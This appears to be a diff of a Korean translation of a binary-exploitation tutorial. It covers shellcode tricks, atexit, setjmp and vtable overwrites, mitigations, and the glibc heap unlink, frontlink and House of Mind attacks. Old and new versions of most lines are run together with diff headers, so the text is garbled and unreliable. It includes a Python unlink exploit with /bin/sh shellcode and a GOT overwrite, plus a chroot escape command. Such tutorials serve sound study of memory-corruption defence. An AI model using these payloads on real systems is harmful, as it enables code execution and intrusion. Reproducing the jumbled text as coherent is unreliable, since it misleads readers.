pop eax ; Guarda el EIP en el que se ejecutó fabs pop eax ; Guarda el EIP en el que se ejecutó fabs
``` ```
**Egg Hunter:** **Egg Huter:**
프로세스와 관련된 메모리 페이지를 탐색하여 거기에 저장된 셸코드를 찾는 작은 코드입니다 (셸코드에 넣은 서명을 찾습니다). 코드를 삽입할 작은 공간만 있는 경우 유용합니다. 프로세스와 연결된 메모리 페이지를 순회하여 거기에 저장된 shellcode를 찾는 작은 코드로 구성됩니다(여기서 shellcode에 설정된 서명을 찾습니다). 코드를 주입할 수 있는 공간이 적은 경우에 유용합니다.
**다형 셸코드** **Shellcodes polimórficos**
암호화된 셸을 나타내는 작은 코드가 포함되어 있으며 해당 코드를 해독하고 해당 코드로 이동하는 셸입니다. Call-Pop 트릭을 사용하는 Caesar 암호화된 예제가 있습니다: 암호화된 shell로 구성되며, 이를 해독하고 점프하는 작은 코드가 포함되어 있습니다. Call-Pop 트릭을 사용하여, 이것은 **예시 암호화된 cesar**입니다:
``` ```
global _start global _start
_start: _start:
@ -119,72 +119,54 @@ call init
sc: sc:
;Aquí va el shellcode ;Aquí va el shellcode
``` ```
## **5. 보충 기법** ## **5. 보완 방법**
**무라트 기법**
리눅스에서 모든 프로그램은 0xbfffffff에서 시작하여 매핑됩니다.
리눅스에서 새로운 프로세스의 스택이 어떻게 구성되는지를 보면, 프로그램이 shellcode만 있는 환경에서 시작되도록 exploit를 개발할 수 있습니다. 이 주소는 다음과 같이 계산할 수 있습니다: addr = 0xbfffffff - 4 - strlen(전체_실행파일_이름) - strlen(shellcode)
이렇게 하면 shellcode가 있는 환경 변수의 주소를 쉽게 얻을 수 있습니다.
**Murat 기법** 이는 execle 함수가 원하는 환경 변수만 포함된 환경을 생성할 수 있게 해주기 때문에 가능합니다.
리눅스에서 모든 프로그램은 0xbfffffff부터 매핑됩니다. ### **버퍼 오버플로우를 위한 포맷 문자열**
새로운 프로세스의 스택이 어떻게 구성되는지 살펴보면, 프로그램이 쉘코드만 있는 환경에서 실행되도록 exploit을 개발할 수 있습니다. 따라서 이 주소는 다음과 같이 계산할 수 있습니다: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode) **sprintf**는 포맷된 문자열을 **변수로** 이동시킵니다. 따라서 문자열의 **포맷팅**을 악용하여 **내용이 복사되는 변수에서 버퍼 오버플로우를 유발할 수 있습니다**.\
예를 들어, 페이로드 `%.44xAAAA`**변수에 44B+"AAAA"를 씁니다**, 이는 버퍼 오버플로우를 유발할 수 있습니다.
이렇게 하면 쉘코드가 있는 환경 변수의 주소를 쉽게 얻을 수 있습니다.
이것은 execle 함수가 원하는 환경 변수만 가지고 있는 환경을 만들 수 있기 때문에 가능합니다.
##
###
###
###
###
### **버퍼 오버플로우를 위한 형식 문자열**
**sprintf**는 형식화된 문자열을 변수로 이동시킵니다. 따라서 문자열의 형식을 남용하여 복사된 내용이 포함된 변수에서 버퍼 오버플로우를 발생시킬 수 있습니다.\
예를 들어, 페이로드 `%.44xAAAA`는 변수에 44B+"AAAA"를 쓸 수 있으며 이는 버퍼 오버플로우를 일으킬 수 있습니다.
### **\_\_atexit 구조체** ### **\_\_atexit 구조체**
{% hint style="danger" %} {% hint style="danger" %}
현재는 이를 exploit하는 것이 매우 드문 일입니다. 현재는 이를 **악용하기 매우 어렵습니다**.
{% endhint %} {% endhint %}
**`atexit()`**는 다른 함수들이 매개변수로 전달되는 함수입니다. 이러한 함수들은 **`exit()`를 실행하거나 main이 반환될 때 실행됩니다.**\ **`atexit()`**는 **다른 함수들이 매개변수로 전달되는 함수입니다.****함수들**은 **`exit()`**를 실행하거나 **main**의 **return** 시에 **실행됩니다**.\
예를 들어, 이러한 함수들 중 하나의 주소를 쉘코드를 가리키도록 수정할 수 있다면 프로세스를 제어할 수 있지만, 현재 이 작업은 더 복잡해졌습니다.\ 이러한 **함수들** 중 하나의 **주소**를 shellcode를 가리키도록 **수정**할 수 있다면, **프로세스의 제어를 얻을 수 있습니다**, 하지만 현재는 더 복잡합니다.\
현재 실행할 함수들의 주소는 여러 구조체 뒤에 숨겨져 있으며, 마지막으로 가리키는 주소는 함수들의 주소가 아니라 **XOR로 암호화되고 무작위 키로 이동된 주소입니다.** 따라서 현재 이 공격 벡터는 적어도 x86 및 x64\_86에서는 매우 유용하지 않습니다.\ 현재 실행될 **함수들의 주소**는 여러 구조 뒤에 **숨겨져** 있으며, 최종적으로 가리키는 주소는 함수의 주소가 아니라 **XOR로 암호화**되고 **무작위 키**로 이동됩니다. 따라서 현재 이 공격 벡터는 **x86** 및 **x64\_86**에서는 그다지 유용하지 않습니다.\
암호화 함수는 **`PTR_MANGLE`**입니다. **m68k, mips32, mips64, aarch64, arm, hppa**와 같은 **다른 아키텍처**는 암호화 함수를 구현하지 않습니다. 따라서 이러한 아키텍처는 이러한 벡터에 의해 공격당할 수 있습니다. **암호화 함수**는 **`PTR_MANGLE`**입니다. **m68k, mips32, mips64, aarch64, arm, hppa**와 같은 **다른 아키텍처**는 암호화 함수를 **구현하지 않습니다**. 왜냐하면 이 함수는 입력으로 받은 것과 **같은 값을 반환하기 때문입니다**. 따라서 이러한 아키텍처는 이 벡터로 공격할 수 있습니다.
### **setjmp() & longjmp()** ### **setjmp() & longjmp()**
{% hint style="danger" %} {% hint style="danger" %}
현재는 이를 exploit하는 것이 매우 드문 일입니다. 현재는 이를 **악용하기 매우 어렵습니다**.
{% endhint %} {% endhint %}
**`Setjmp()`**는 **컨텍스트(레지스터)를 저장**할 수 있습니다.\ **`setjmp()`**는 **컨텍스트**(레지스터)를 **저장**할 수 있게 해줍니다.\
**`longjmp()`**는 **컨텍스트를 복원**할 수 있습니다.\ **`longjmp()`**는 **컨텍스트**를 **복원**할 수 있게 해줍니다.\
저장된 레지스터는: `EBX, ESI, EDI, ESP, EIP, EBP`입니다.\ **저장된 레지스터**는: `EBX, ESI, EDI, ESP, EIP, EBP`\
그러나 EIP와 ESP는 **`PTR_MANGLE`** 함수를 통해 전달되므로 이 공격에 취약한 아키텍처는 위와 동일합니다.\ 문제는 EIP와 ESP가 **`PTR_MANGLE`** 함수에 의해 전달된다는 것입니다. 따라서 **이 공격에 취약한 아키텍처는 위와 동일합니다**.\
러한 함수들은 오류 복구나 인터럽트에 유용합니다.\ 이들은 오류 복구나 인터럽트에 유용합니다.\
그러나 제가 읽은 바에 의하면, 다른 레지스터는 보호되지 않습니다. 따라서 호출되는 함수 내부에 `call ebx`, `call esi` 또는 `call edi`가 있다면 제어를 얻을 수 있습니다. 또는 EBP를 수정하여 ESP를 수정할 수도 있습니다. 그러나 제가 읽은 바에 따르면, 다른 레지스터는 보호되지 않으므로, **함수 내에서 `call ebx`, `call esi` 또는 `call edi`**가 있다면 제어를 가져올 수 있습니다. 또는 EBP를 수정하여 ESP를 수정할 수도 있습니다.
**C++의 VTable 및 VPTR** **C++의 VTable 및 VPTR**
각 클래스에는 메서드를 가리키는 포인터 배열인 **Vtable**이 있습니다. 각 클래스는 **메서드에 대한 포인터 배열**인 **Vtable**을 가집니다.
클래스의 **객체**에는 해당 클래스의 배열을 가리키는 **VPtr**이 있습니다. VPtr은 각 객체의 헤더의 일부이므로 **VPtr을 덮어쓰면** 더미 메서드를 가리키도록 수정하여 함수를 실행하면 쉘코드로 이동할 수 있습니다. **클래스**의 객체는 **VPtr**을 가지며, 이는 해당 클래스의 배열에 대한 **포인터**입니다. VPtr은 각 객체의 헤더의 일부이므로, **VPtr**을 **수정**하여 **더미 메서드를 가리키도록 하면** 함수를 실행할 때 shellcode로 이동할 수 있습니다.
## **예방 및 회피 조치** ## **예방 조치 및 회피 방법**
###
**Libsafe 대체** **Libsafe 대체**
@ -192,82 +174,83 @@ sc:
또는\ 또는\
“/lib/libsave.so.2” > /etc/ld.so.preload “/lib/libsave.so.2” > /etc/ld.so.preload
일부 안전하지 않은 함수 호출을 안전한 함수 호출로 대체합니다. 표준화되어 있지 않습니다. (x86 전용, -fomit-frame-pointer로 컴파일된 것은 아님, 정적 컴파일은 아님, 모든 취약한 함수가 안전한 함수로 변환되지는 않음, LD\_PRELOAD는 suid 바이너리에서 작동하지 않음). 안전하지 않은 일부 함수 호출을 안전한 다른 함수로 가로챕니다. 표준화되어 있지 않습니다. (x86 전용, -fomit-frame-pointer로 컴파일된 경우, 정적 컴파일이 아닌 경우, 모든 취약한 함수가 안전해지지 않으며 LD\_PRELOAD는 suid가 있는 바이너리에서는 작동하지 않습니다).
**ASCII Armored Address Space** **ASCII 방어 주소 공간**
공유 라이브러리를 0x00000000에서 0x00ffffff로 로드하여 항상 0x00 바이트가 있도록 합니다. 그러나 이는 거의 모든 공격을 막지 못하며 리틀 엔디안에서는 특히 그렇습니다. 0x00000000에서 0x00ffffff까지 공유 라이브러리를 로드하여 항상 0x00 바이트가 있도록 합니다. 그러나 이는 실제로 거의 모든 공격을 막지 못하며, 특히 little endian에서는 더욱 그렇습니다.
**ret2plt** **ret2plt**
strcpy@plt 함수를 호출하고 GOT의 항목을 가리키도록 하여 함수의 첫 번째 바이트를 system()으로 복사하는 ROP를 수행하는 것입니다. 그런 다음 GOT+1을 가리키도록 하여 system()의 두 번째 바이트를 복사합니다. 마지막으로 GOT에 저장된 주소인 system()을 호출합니다. ROP를 수행하여 strcpy@plt(plt의 함수)를 호출하고 GOT의 항목을 가리키며 호출하려는 함수(system())의 첫 번째 바이트를 복사합니다. 그 다음 GOT+1을 가리키며 system()의 두 번째 바이트를 복사합니다... 마지막으로 GOT에 저장된 주소를 호출하여 system()이 됩니다.
**chroot()를 사용한 감옥** **chroot()를 이용한 샌드박스**
debootstrap -arch=i386 hardy /home/user —> 특정 하위 디렉토리에 기본 시스템을 설치합니다. debootstrap -arch=i386 hardy /home/user —> 특정 하위 디렉토리 아래에 기본 시스템을 설치합니다.
관리자는 이러한 감옥에서 나갈 수 있습니다: mkdir foo; chroot foo; cd .. 관리자는 다음과 같이 이러한 샌드박스 중 하나에서 나올 수 있습니다: mkdir foo; chroot foo; cd ..
**코드 인스트루먼테이션** **코드 계측**
Valgrind —> 오류 찾기\ Valgrind —> 오류 검색\
Memcheck\ Memcheck\
RAD (Return Address Defender)\ RAD (Return Address Defender)\
Insure++ Insure++
## **8 힙 오버플로우: 기본 exploit** ## **8 힙 오버플로우: 기본 익스플로잇**
**할당된 청크** **할당된 조각**
prev\_size |\ prev\_size |\
size | —헤더\ size | —헤더\
\*mem | 데이터 \*mem | 데이터
**빈 청크** **자유 조각**
prev\_size |\ prev\_size |\
size |\ size |\
\*fd | 다음 청크를 가리키는 포인터\ \*fd | 다음 조각 포인터\
\*bk | 이전 청크를 가리키는 포인터 —헤더\ \*bk | 이전 조각 포인터 —헤더\
\*mem | 데이터 \*mem | 데이터
빈 청크는 이중 연결 목록(bin)에 있으며 두 개의 빈 청크가 연속해서 있을 수 없습니다. 자유 조각은 이중 연결 리스트(bin)에 있으며, 두 개의 자유 조각이 함께 있을 수 없습니다(결합됨).
"size"에는 다음을 나타내는 비트가 있습니다: 이전 청크가 사용 중인지, 청크가 mmap()을 통해 할당되었는지, 청크가 기본 arena에 속하는지. “size”에는 다음을 나타내는 비트가 있습니다: 이전 조각이 사용 중인지, mmap()을 통해 할당되었는지, 조각이 기본 아레나에 속하는지.
청크를 해제할 때 인접한 청크 중 하나가 빈 상태인 경우, unlink() 매크로를 통해 이들이 병합되고 새로운 가장 큰 청크가 frontlink()에 전달되어 적절한 bin에 삽입됩니다. 조각을 해제할 때 인접한 조각 중 하나가 자유로워지면, unlink() 매크로를 통해 결합되고, 더 큰 새 조각이 frontlink()로 전달되어 적절한 bin에 삽입됩니다.
unlink(){\ unlink(){\
BK = P->bk; —> 새로운 청크의 BK는 이전에 빈 상태였던 청크의 BK입니다.\ BK = P->bk; —> 새 조각의 BK는 이전에 자유로웠던 조각의 BK입니다.\
FD = P->fd; —> 새로운 청크의 FD는 이전에 빈 상태였던 청크의 FD입니다.\ FD = P->fd; —> 새 조각의 FD는 이전에 자유로웠던 조각의 FD입니다.\
FD->bk = BK; —> 다음 청크의 BK가 새로운 청크를 가리킵니다.\ FD->bk = BK; —> 다음 조각의 BK가 새 조각을 가리킵니다.\
BK->fd = FD; —> 이전 청크의 FD가 새로운 청크를 가리킵니다.\ BK->fd = FD; —> 이전 조각의 FD가 새 조각을 가리킵니다.\
} }
따라서 P->bk를 쉘코드의 주소로, P->fd를 GOT 또는 DTORS 항목의 주소에서 12를 뺀 주소로 수정하면 다음을 달성할 수 있습니다: 따라서 P->bk를 shellcode의 주소로 수정하고 P->fd를 GOT 또는 DTORS의 주소 - 12로 수정하면:
BK = P->bk = \&shellcode\ BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\ FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
이렇게 하면 프로그램을 종료할 때 쉘코드가 실행됩니다. 이렇게 하면 프로그램 종료 시 shellcode가 실행됩니다.
또한, unlink()의 4번째 문은 무언가를 쓰며, 쉘코드는 이를 위해 수정되어야 합니다: 또한 unlink()의 4번째 문장은 무언가를 쓰며, shellcode는 이를 위해 수정되어야 합니다:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> 이로 인해 쉘코드의 8번째 바이트부터 4바이트가 쓰여지므로 쉘코드의 첫 번째 명령은 이를 건너뛰고 나머지 쉘코드로 이동하는 노프로 이어져야 합니다. BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> 이는 shellcode의 8번째 바이트부터 4바이트를 쓰게 하므로, shellcode의 첫 번째 명령은 이를 건너뛰고 나머지 shellcode로 이어지는 jmp이어야 합니다.
따라서 exploit은 다음과 같이 생성됩니다: 따라서 익스플로잇은 다음과 같이 생성됩니다:
버퍼1에는 노프 또는 쉘코드의 나머지로 이어지는 jmp로 시작하는 쉘코드를 넣습니다. buffer1에 shellcode를 넣고 jmp로 시작하여 nops 또는 나머지 shellcode로 떨어지게 합니다.
쉘 코드 뒤에는 prev\_size 및 다음 청크의 size에 도달할 때까지 채우기를 추가합니다. 이러한 위치에는 0xfffffff0(이전 청크가 빈 상태임을 나타내는 비트가 설정됨) 및 "-4"(0xfffffffc)를 넣습니다(size를 수정하여 2번째 청크가 실제로 빈 상태임을 알게 하기 위함) -> 따라서 free()가 조사할 때 3번째 청크의 size로 이동하지만 실제로는 2번째 청크 - 4로 이동하여 2번째 청크가 빈 상태인 것으로 생각합니다. 그런 다음 **unlink()**를 호출합니다. shellcode 뒤에는 prev\_size와 다음 조각의 size 필드에 도달할 때까지 패딩을 넣습니다. 이 위치에 0xfffffff0을 넣어 prev\_size가 자유로움을 나타내도록 하고, size에 “-4”(0xfffffffc)를 넣습니다 (이렇게 하면 3번째 조각에서 2번째 조각이 실제로 자유로웠는지 확인할 때 수정된 prev\_size로 가게 됩니다) -> 이렇게 하면 free()가 조사할 때 3번째 조각의 size로 가지만 실제로는 2번째 조각 - 4로 가서 2번째 조각이 자유롭다고 생각하게 됩니다. 그리고 그러면 **unlink()**를 호출합니다.
unlink()를 호출하면 P->fd로 2번째 조각의 처음 데이터를 사용하므로 덮어쓰려는 주소가 거기에 들어갑니다. - 12(왜냐하면 FD->bk에는 FD에 저장된 주소에 12를 더할 것이기 때문입니다). 그리고 그 주소에 2번째 조각에서 찾은 두 번째 주소를 넣어야 하는데, 이는 쉘코드 주소(P->bk 가짜)여야 합니다.
unlink()를 호출할 때 P->fd는 2번째 조각의 첫 번째 데이터를 사용하므로, 여기에는 덮어쓰려는 주소 - 12(왜냐하면 FD->bk에 12를 더하기 때문입니다)로 들어가게 됩니다. 그리고 그 주소에 2번째 조각에서 찾은 두 번째 주소를 넣게 되며, 이는 shellcode의 주소여야 합니다(P->bk 가짜).
**from struct import \*** **from struct import \***
**import os** **import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding** **shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes의 패딩**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
@ -275,73 +258,73 @@ unlink()를 호출하면 P->fd로 2번째 조각의 처음 데이터를 사용
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";** **"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #이전 조각이 비어 있는지를 나타내는 비트가 1이어야 함** **prev\_size = pack("\<I”, 0xfffffff0) #이전 조각이 자유로움을 나타내는 비트가 1이 되도록 합니다.**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, 3번째 조각의 "size"가 4바이트 뒤에 있다고 생각하게끔 함(2번째 조각이 비어 있는지 확인하는 위치인 prev\_size를 가리킴)** **fake\_size = pack("\<I”, 0xfffffffc) #-4, 3번째 조각의 size가 4바이트 뒤에 있다고 생각하게 하여 prev\_size를 가리킵니다.**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #페이로드의 처음에 8바이트 패딩을 넣음** **addr\_sc = pack("\<I", 0x0804a008 + 8) #페이로드의 처음에 8바이트의 패딩을 넣습니다.**
**got\_free = pack("\<I", 0x08048300 - 12) #plt의 free() 주소-12(2번째 free() 호출 시 쉘코드가 실행되도록 덮어쓸 주소)** **got\_free = pack("\<I", 0x08048300 - 12) #free()의 plt에서의 주소 -12 (이 주소가 shellcode를 실행하도록 덮어씌워질 것입니다).**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #8바이트 패딩으로 페이로드 시작** **payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #페이로드는 8바이트의 패딩으로 시작합니다.**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #2번째 조각 수정, got\_free는 addr\_sc 주소를 저장할 위치를 가리킴(주소에 12를 더함)** **payload += prev\_size + fake\_size + got\_free + addr\_sc #2번째 조각을 수정하고, got\_free는 addr\_sc + 12의 주소를 가리킵니다.**
**os.system("./8.3.o " + payload)** **os.system("./8.3.o " + payload)**
**unset() 역방향으로 해제(wargame)** **unset() 역방향으로 해제하기 (wargame)**
우리는 3개의 연속적인 청크를 제어하고 예약된 순서의 역순으로 해제됩니다. 우리는 3개의 연속 조각을 제어하고 있으며, 이들은 예약된 순서의 역순으로 해제됩니다.
이 경우: 이 경우:
청크 c에 쉘코드를 넣습니다. 조각 c에 shellcode를 넣습니다.
청크 a를 사용하여 b를 덮어쓰는데, 이때 사이즈 비트 PREV\_INUSE를 비활성화하여 청크 a가 비어 있다고 생각하게 합니다. 조각 a는 b를 덮어쓰는 데 사용되며, size가 PREV\_INUSE 비트를 비활성화하여 조각 a가 자유롭다고 생각하게 합니다.
또한, 헤더 b에 사이즈를 -4로 덮어씁니다. 또한, b의 헤더에서 size를 -4로 덮어씁니다.
러면 프로그램은 "a"가 비어 있고 bin에 있는 것으로 생각하여 unlink()를 호출하여 해제합니다. 그러나 헤더 PREV\_SIZE가 -4이므로 "a" 조각이 실제로 b+4에서 시작한다고 생각합니다. 즉, b+4에서 unlink()를 수행하게 되며, 여기서 b+12에는 "fd" 포인터가 있고 b+16에는 "bk" 포인터가 있습니다. 럼 프로그램은 “a”가 자유롭고 bin에 있다고 생각하여 unlink()를 호출합니다. 그러나 PREV\_SIZE 헤더가 -4이므로, “a”의 조각이 실제로 b+4에서 시작한다고 생각하게 됩니다. 즉, b+4에서 unlink()를 수행하게 되며, b+12에 fd 포인터가 있고 b+16에 bk 포인터가 있게 됩니다.
이렇게 하면 bk에 쉘코드 주소를 넣고 fd에 "puts()" 함수 주소-12를 넣으면 페이로드가 완성됩니다. 이렇게 하면 bk에 shellcode의 주소를 넣고 fd에 “puts()”의 주소 -12를 넣으면 payload가 완성됩니다.
**Frontlink 기술** **프론트링크 기법**
해제된 것이 있고 인접한 청크가 모두 비어 있지 않으면 unlink()가 호출되지 않고 직접 frontlink()가 호출됩니다. 프론트링크는 어떤 것을 해제할 때 그 인접 조각이 자유롭지 않을 경우 호출됩니다. unlink()를 호출하지 않고 직접 frontlink()를 호출합니다.
공격 대상 malloc이 해제(free())되지 않는 경우 유용한 취약점입니다. malloc이 공격받는 경우 결코 해제되지 않는 경우 유용한 취약점입니다.
필요한 것: 필요한 것:
데이터 입력 함수로 오버플로우가 발생할 수 있는 버퍼 입력 데이터 함수로 오버플로우할 수 있는 버퍼
해제되어야 하는 인접한 버퍼로 이전 버퍼의 오버플로우로 인해 헤더의 fd 필드가 수정됨 해제되어야 할 인접 버퍼, 이 버퍼의 헤더 fd 필드를 이전 버퍼의 오버플로우로 수정합니다.
512보다 크고 이전 버퍼보다 작은 크기의 버퍼 해제할 버퍼는 512보다 크지만 이전 버퍼보다 작아야 합니다.
3단계 이전에 선언된 버퍼로 이 버퍼의 prev\_size를 덮어쓸 수 있는 버퍼 3단계 이전에 선언된 버퍼가 prev\_size를 덮어쓸 수 있어야 합니다.
이렇게 함으로써 두 개의 malloc을 무작위로 덮어쓰고 하나는 제어된 상태로 해제되는 방식으로 exploit을 수행할 수 있습니다. 이렇게 두 개의 malloc에서 비제어적으로 덮어쓰고 하나에서 제어된 방식으로 해제하면 익스플로잇을 만들 수 있습니다.
**이중 free() 취약점** **double free() 취약점**
동일한 포인터로 두 번 free()를 호출하면 두 개의 bin이 동일한 주소를 가리킵니다. 같은 포인터로 free()를 두 번 호출하면 두 개의 bin이 같은 주소를 가리키게 됩니다.
하나를 다시 사용하려면 문제가 없이 할당됩니다. 다른 것을 사용하려면 동일한 공간이 할당되므로 이전 예약에 의해 작성된 데이터로 "fd" 및 "bk" 포인터가 왜곡됩니다. 하나를 다시 사용하려고 하면 문제없이 할당됩니다. 다른 하나를 사용하려고 하면 같은 공간이 할당되므로, “fd”와 “bk” 포인터가 이전 할당의 데이터로 잘못 설정됩니다.
**After free()** **free() 이후**
이전에 해제된 포인터가 제어 없이 다시 사용됩니다. 이전에 해제된 포인터가 다시 제어 없이 사용됩니다.
## **8 힙 오버플로우: 고급 Exploits** ## **8 힙 오버플로우: 고급 익스플로잇**
unlink() 및 FrontLink() 기술은 unlink() 함수를 수정함으로써 제거되었습니다. unlink() 및 frontlink() 기법은 unlink() 함수를 수정하여 제거되었습니다.
**The house of mind** **마음의 집**
임의의 코드 실행을 유발하기 위해 free()를 한 번 호출하는 것만으로 충분합니다. 이전에 오버플로우된 다음 해제될 수 있는 두 번째 청크를 찾아야 합니다. 임의의 코드를 실행하기 위해서는 free() 호출이 하나만 필요합니다. 이전에 해제된 조각이 다음 조각으로 사용될 수 있도록 찾는 것이 중요합니다.
free() 호출은 public\_fREe(mem)을 호출하게 되며, 이는 다음과 같이 작동합니다: free() 호출은 public\_fREe(mem)을 호출하게 되며, 이는 다음을 수행합니다:
mstate ar\_ptr; mstate ar\_ptr;
@ -349,7 +332,7 @@ mchunkptr p;
p = mem2chunk(mes); —> 청크가 시작하는 위치를 가리키는 포인터를 반환합니다(mem-8) p = mem2chunk(mem); —> 조각이 시작되는 주소에 대한 포인터를 반환합니다 (mem-8)
@ -361,11 +344,11 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr
} }
\[1]에서 size 비트 NON\_MAIN\_ARENA를 확인하여 true를 반환하고 heap\_for\_ptr()를 실행할 수 있도록 변경할 수 있으며, 이는 "mem"에 AND를 적용하여 가장 중요하지 않은 2.5바이트를 0으로 만들고 0x08000000에 액세스하여 0x08000000->ar\_ptr(구조체 heap\_info처럼)에 액세스합니다. \[1]에서 size 필드의 NON\_MAIN\_ARENA 비트를 확인하며, 이 비트를 변경하여 확인이 true로 반환되도록 할 수 있습니다. 그러면 heap\_for\_ptr()가 “mem”에 대해 AND 연산을 수행하여 2.5 비트를 0으로 만듭니다 (우리의 경우 0x0804a000에서 0x08000000으로 남습니다) 그리고 0x08000000->ar\_ptr에 접근합니다 (struct heap\_info처럼).
따라서 예를 들어 0x0804a000에 청크를 제어하고 0x081002a0에 청크를 해제할 때 0x08100000으로 이동하여 원하는 내용(예: 0x0804a000)을 쓸 수 있습니다. 두 번째 청크가 해제될 때 heap\_for\_ptr(ptr)->ar\_ptr이 0x08100000에 쓴 내용을 반환할 것입니다(0x081002a0에 이전에 본 AND를 적용하고 거기서 처음 4바이트 값을 가져오기 때문입니다, ar\_ptr). 이렇게 하면 예를 들어 0x0804a000에서 조각을 제어할 수 있고, **0x081002a0**에서 조각이 해제되면 0x08100000 주소에 접근하여 원하는 것을 쓸 수 있습니다. 예를 들어 **0x0804a000**을 쓸 수 있습니다. 이 두 번째 조각이 해제되면 heap\_for\_ptr(ptr)->ar\_ptr가 0x08100000에 쓴 값을 반환합니다 (왜냐하면 이전에 본 AND가 0x081002a0에 적용되며, 그로부터 4바이트의 값이 추출되기 때문입니다).
이렇게 하면 \_int\_free(ar\_ptr, mem)가 호출되며, 즉, **\_int\_free(0x0804a000, 0x081002a0)**\ 이렇게 하면 \_int\_free(ar\_ptr, mem) 즉, **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\ **\_int\_free(mstate av, Void\_t\* mem){**\
…\ …\
bck = unsorted\_chunks(av);\ bck = unsorted\_chunks(av);\
@ -377,33 +360,34 @@ fwd->bk = p;
..} ..}
에서 본 대로 av의 값을 제어할 수 있으므로, 해제될 청크에 쓴 내용을 제어할 수 있습니다. 서 본 것처럼 av의 값을 제어할 수 있습니다. 이는 우리가 해제할 조각에 쓴 것입니다.
unsorted\_chunks가 정의된 대로 알 수 있습니다:\ unsorted\_chunks가 정의된 대로, 우리는 다음을 알고 있습니다:\
bck = \&av->bins\[2]-8;\ bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\ fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p; fwd->bk = \*(av->bins\[2] + 12) = p;
따라서 av->bins\[2]에 \_\_DTOR\_END\_\_-12의 값을 쓰면 마지막 명령에서 \_\_DTOR\_END\_\_에 두 번째 청크의 주소가 쓰입니다. 따라서 av->bins\[2]에 \_\_DTOR\_END\_\_-12의 값을 쓰면 마지막 명령에서 \_\_DTOR\_END\_\_에 두 번째 조각의 주소가 쓰여집니다.
즉, 첫 번째 청크의 시작 부분에 많은 횟수로 \_\_DTOR\_END\_\_-12의 주소를 넣어야 합니다. 왜냐하면 av->bins\[2]에서 이 값을 가져오기 때문입니다. 즉, 첫 번째 조각의 시작 부분에 여러 번 \_\_DTOR\_END\_\_-12의 주소를 넣어야 합니다. 왜냐하면 av->bins\[2]가 그 주소를 가져가기 때문입니다.
두 번째 청크의 주소가 떨어지는 위치에 첫 번째 청크의 주소를 써야 하며, heap\_for\_ptr()가 ar\_ptr이 첫 번째 청크의 시작 부분에 있다고 생각하고 거기서 av->bins\[2]를 가져오기 때문입니다. 두 번째 조각의 마지막 5개의 0이 있는 주소에 첫 번째 조각의 주소를 써야 heap\_for\_ptr()가 ar\_ptr가 첫 번째 조각의 시작 부분에 있다고 생각하게 하고, av->bins\[2]를 그곳에서 가져오게 됩니다.
두 번째 조각에서 첫 번째를 통해 prev\_size를 jump 0x0c로 덮어쓰고 size를 NON\_MAIN\_ARENA를 활성화하기 위한 값으로 덮어씁니다.
다음으로 조각 2에는 많은 nops를 넣고 마지막으로 쉘코드를 넣습니다. 두 번째 조각에서 첫 번째 조각 덕분에 prev\_size를 0x0c로 덮어쓰고 size를 NON\_MAIN\_ARENA를 활성화하는 값으로 설정합니다.
이렇게 하면 \_int\_free(TROZO1, TROZO2)가 호출되고 \_\_DTOR\_END\_\_에 TROZO2의 prev\_size 주소가 쓰여 쉘코드로 이동합니다. 그 다음 두 번째 조각에 nops를 많이 넣고 마지막으로 shellcode를 넣습니다.
기술을 적용하려면 페이로드를 약간 더 복잡하게 만드는 몇 가지 요구 사항을 충족해야 합니다. 렇게 하면 \_int\_free(TROZO1, TROZO2)가 호출되고, prev\_size의 주소가 \_\_DTOR\_END\_\_에 쓰여져 shellcode로 점프하게 됩니다.
이 기술은 unlink에 적용된 거의 동일한 패치가 적용되어 더 이상 적용할 수 없습니다. 새로운 대상이 가리키는 새 위치가 자신을 가리키는지 확인합니다. 이 기술을 적용하기 위해서는 몇 가지 추가 요구 사항이 충족되어야 하며, 이는 페이로드를 조금 더 복잡하게 만듭니다.
이 기술은 unlink에 대한 거의 동일한 패치가 적용되었기 때문에 더 이상 적용할 수 없습니다. 새로 가리키는 위치가 자신을 가리키고 있는지 비교합니다.
**Fastbin** **Fastbin**
The house of mind의 변형입니다. 이는 마음의 집의 변형입니다.
\_int\_free() 함수의 첫 번째 확인 후에 실행되는 코드에 도달하는 것이 중요합니다. 우리는 다음 코드를 실행할 수 있도록 하는 것이 중요합니다. 이는 \_int\_free() 함수의 첫 번째 확인을 통과한 후에 도달합니다.
fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2 fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2
@ -413,59 +397,61 @@ p->fd = \*fb
\*fb = p \*fb = p
